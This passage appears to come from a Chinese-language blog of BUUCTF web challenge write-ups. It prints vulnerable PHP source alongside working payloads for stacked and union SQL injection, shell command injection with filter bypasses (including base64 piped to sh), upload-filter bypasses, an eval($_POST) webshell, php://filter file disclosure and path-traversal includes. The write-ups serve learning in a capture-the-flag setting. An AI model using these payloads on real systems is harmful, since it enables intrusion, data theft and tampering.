    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){
      do{
        if ($rs = $mysqli->store_result()){
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); 
          if ($mysqli->more_results()){  
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); 
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  
}
?>

联合注入

-1' or 1=1 order by 3 #

error 1054 : Unknown column 「3」 in 「order clause」

-1' union select 1,2 #

hint

return preg_match(『/select|update|delete|drop|insert|where|./i』,$inject);

堆叠注入

-1';show tables#

array(1) {
[0]=>
string(16) 『1919810931114514』
}

array(1) {
[0]=>
string(5) 『words』
}

-1';desc `1919810931114514`#

array(6) {
[0]=>
string(4) 『flag』
[1]=>
string(12) 『varchar(100)』
[2]=>
string(2) 『NO』
[3]=>
string(0) 『』
[4]=>
NULL
[5]=>
string(0) 『』
}

预处理语句绕过

-1';prepare zero from concat('sel','ect * from `1919810931114514`');execute zero;#
-1';prepare zero from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');execute zero;#

strstr($inject, 『set』) && strstr($inject, 『prepare』)

-1';SET @sqli=concat('sel','ect * from `1919810931114514`');PREPARE zero from @sqli;execute zero;#
-1';SET @sqli=concat(char(115,101,108,101,99,116),' * from `1919810931114514`');PREPARE zero from @sqli;execute zero;#

替换表名列名

-1'; alter table words rename to others;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

[GXYCTF2019]Ping Ping Ping

目录下有两个文件

flag.php

index.php

空格、flag 存在过滤,无法直接查看

/?ip=1.1.1.1|cat$IFS$1index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

变量替换

通过变量 a 实现字符替换

/?ip=1.1.1.1|a=g;cat$IFS$9fla$a.php

内联执行

将反引号内命令的输出作为输入执行

/?ip=1.1.1.1|cat$IFS$9`ls`

编码绕过

/?ip=1.1.1.1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

Linux 下存在多种 Shell 程序,选择可用 Shell 即可

内部域分隔符 IFS(Internal Field Separator) Linux 的 env 变量,bash shell 下默认为空格、制表符和换行符

[ACTF2020 新生赛]Exec

1.1.1.1;cat /flag

[ACTF2020 新生赛]Upload

/index.php

<?php
	error_reporting(0);

	define("UPLOAD_PATH", "./uplo4d");
	$msg = "Upload Success!";
	if (isset($_POST['submit'])) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_name = $_FILES['upload_file']['name'];
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
        if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {
	        exit('nonono~ Bad file!');
    	}

        $new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;
        
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
    }

?>

main.js

function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".webp|.webp|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
            alert(errMsg);
            return false;
        }
    }

绕过相应检测

[极客大挑战 2019]Upload

upload_file.php

<?php
$file = $_FILES["file"];
  
// 允许上传的图片后缀
$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
$temp = explode(".", $file["name"]);
$extension = strtolower(end($temp));
$image_type = @exif_imagetype($file["tmp_name"]);

if ((($file["type"] == "image/gif")
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480)
{
	if ($file["error"] > 0){
		echo "ERROR!!!";
	}
	elseif (in_array($extension, $allowedExts)) {
		echo "NOT!".$extension."!";
	} 
	elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
		echo "NO! HACKER! your file included '&#x3C;&#x3F;'";
	}
	elseif (!$image_type) {
		echo "Don't lie to me, it's not image at all!!!";
	}
	else{
		$fileName='./upload/'.$file['name'];
		move_uploaded_file($file['tmp_name'],$fileName);
		echo "上传文件名: " . $file["name"] . "<br>";
	}
}
else
{
	echo "Not image!";
}
?>

需绕过复合检测

文件后缀名黑名单检测

文件类型 php 函数检测

文件大小检测

<? php 特征检测

最后将合法文件移动至 upload 目录下

可用 ASPX 一句话,后缀为 phtml ,文件头修改为 GIF89a?

上传时将 Content-Type 参数改为 image/jpeg

[极客大挑战 2019]Knife

/index.php

<?php
eval($_POST["Syc"]);
?>

一句话木马,通过蚁剑连接

[极客大挑战 2019]Secret File

<a id="master" href="./Archive_room.php" xxx</a>

跳转至 Archive_room.php

<a id="master" href="./action.php" xxx</a>

302 重定向至 end.php

Burp 拦截

/secr3t.php

<html>  
 <title>secret</title>  
 <meta charset="UTF-8">  
<?php  
    highlight_file(__FILE__); error_reporting(0); $file=$_GET['file'];  
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){  
        echo "Oh no!";  
        exit();  
    }  
    include($file); //flag放在了flag.php里  
?>  
</html>

php://filter 获取源码

flag and secr3t

[ACTF2020 新生赛]Include

hint

Can you find out the flag?

?file=flag.php

PHP 伪协议

php://filter

?file=php://filter/read=convert.base64-encode/resource=flag.php

[SUCTF 2019]EasySQL

var_dump

回显格式反推出使用 var_dump 实现输出

拿字典跑了下,屏蔽了某些关键词

堆叠注入

query=1;show databases #

query=-1; show tables #

query=-1; show columns from Flag #

from 被过滤,不可行

参考:BUUCTF—web题解法汇总-UCASZ

$sql = "select ".$post['query']."||flag from Flag";
1;set sql_mode=PIPES_AS_CONCAT;select 1

*,1

select \*,1 from Flag

[极客大挑战 2019]EasySQL

/check.php?username=admin&password=%27+or+1%3D1

/check.php?username=admin&password=%27+or+1%3D1+%23

[极客大挑战 2019]Http

href=『Secret.php』

It doesn’t come from 「https://Sycsecret.buuoj.cn

HTTP Header 详解

Referer: https://Sycsecret.buuoj.cn

Please use 『Syclover』 browser

No!!! you can only read this locally!!!

[极客大挑战 2019]Havefun

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

?cat=dog

[HCTF 2018]WarmUp

<!--source.php-->

/source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.webp\" />";
    }  
?>

hint

/hint.php

flag not here, and flag in ffffllllaaaagggg

?file=hint.php?../…/…/…/…/ffffllllaaaagggg

  1. [BJDCTF2020]Cookie is so stable
  2. [WUSTCTF2020]朴实无华
  3. [安洵杯 2019]easy_web
  4. [NCTF2019]Fake XML cookbook
    1. XXE
  5. [强网杯 2019]高明的黑客
  6. [BJDCTF2020]Mark loves cat
  7. [BSidesCF 2020]Had a bad day
  8. [网鼎杯 2020 朱雀组]phpweb
  9. [GWCTF 2019]我有一个数据库
  10. [BJDCTF2020]ZJCTF,不过如此
  11. [GXYCTF2019]禁止套娃
  12. [BJDCTF2020]The mystery of ip
  13. [BUUCTF 2018]Online Tool
  14. [RoarCTF 2019]Easy Java
  15. [GXYCTF2019]BabyUpload
  16. [网鼎杯 2018]Fakebook
    1. hint
  17. [CISCN2019 华北赛区 Day2 Web1]Hack World
    1. 简单测试
    2. 二分法穷举
  18. [GYCTF2020]Blacklist
    1. 联合注入
    2. 堆叠注入
    3. handler查询
  19. [GXYCTF2019]BabySQli
    1. hint
    2. fuzz
  20. [网鼎杯 2020 青龙组]AreUSerialz
  21. [MRCTF2020]Ez_bypass
    1. 数组绕过强类型比较
    2. 字符串或 %00 绕过 is_numeric
  22. [MRCTF2020]你传你🐎呢
    1. .htaccess
    2. 一句话
  23. [极客大挑战 2019]HardSQL
    1. 报错注入
      1. 查看数据库基础信息
      2. 查表
      3. 查字段
      4. 查数据
  24. [SUCTF 2019]CheckIn
    1. .user.ini
    2. exif_imagetype
  25. [ZJCTF 2019]NiZhuanSiWei
    1. data://
    2. php://filter
    3. payload
  26. [BJDCTF2020]Easy MD5
    1. hint
    2. 绕过
      1. 字符串一
      2. 源码
    3. 第二步
      1. 数组绕过
      2. 0e绕过
    4. 第三步
      1. 数组绕过
      2. MD5碰撞
  27. [HCTF 2018]admin
    1. hint
    2. 预期解
      1. unicode同形字
    3. 非预期
      1. flask session伪造
      2. 条件竞争
  28. [极客大挑战 2019]BuyFlag
    1. cookie
    2. 松散比较
    3. 科学计数法或数组
  29. [护网杯 2018]easy_tornado
    1. hint
  30. [ACTF2020 新生赛]BackupFile
    1. Payload
  31. [极客大挑战 2019]BabySQL
  32. [极客大挑战 2019]PHP
    1. Exploit
    2. Payload
  33. [RoarCTF 2019]Easy Calc
  34. [极客大挑战 2019]LoveSQL
    1. hint
    2. 尝试联合注入
      1. 判断字段数
      2. 查看数据库基础信息
      3. 查表
      4. 查字段
      5. 查数据
  35. [强网杯 2019]随便注
    1. 源码
    2. 联合注入
      1. hint
    3. 堆叠注入
    4. 预处理语句绕过
    5. 替换表名列名
  36. [GXYCTF2019]Ping Ping Ping
    1. 变量替换
    2. 内联执行
    3. 编码绕过
  37. [ACTF2020 新生赛]Exec
  38. [ACTF2020 新生赛]Upload
  39. [极客大挑战 2019]Upload
    1. 需绕过复合检测
  40. [极客大挑战 2019]Knife
  41. [极客大挑战 2019]Secret File
    1. Burp 拦截
    2. php://filter 获取源码
    3. flag and secr3t
  42. [ACTF2020 新生赛]Include
    1. hint
    2. PHP 伪协议
  43. [SUCTF 2019]EasySQL
    1. var_dump
    2. 堆叠注入
  44. [极客大挑战 2019]EasySQL
  45. [极客大挑战 2019]Http
  46. [极客大挑战 2019]Havefun
  47. [HCTF 2018]WarmUp
    1. hint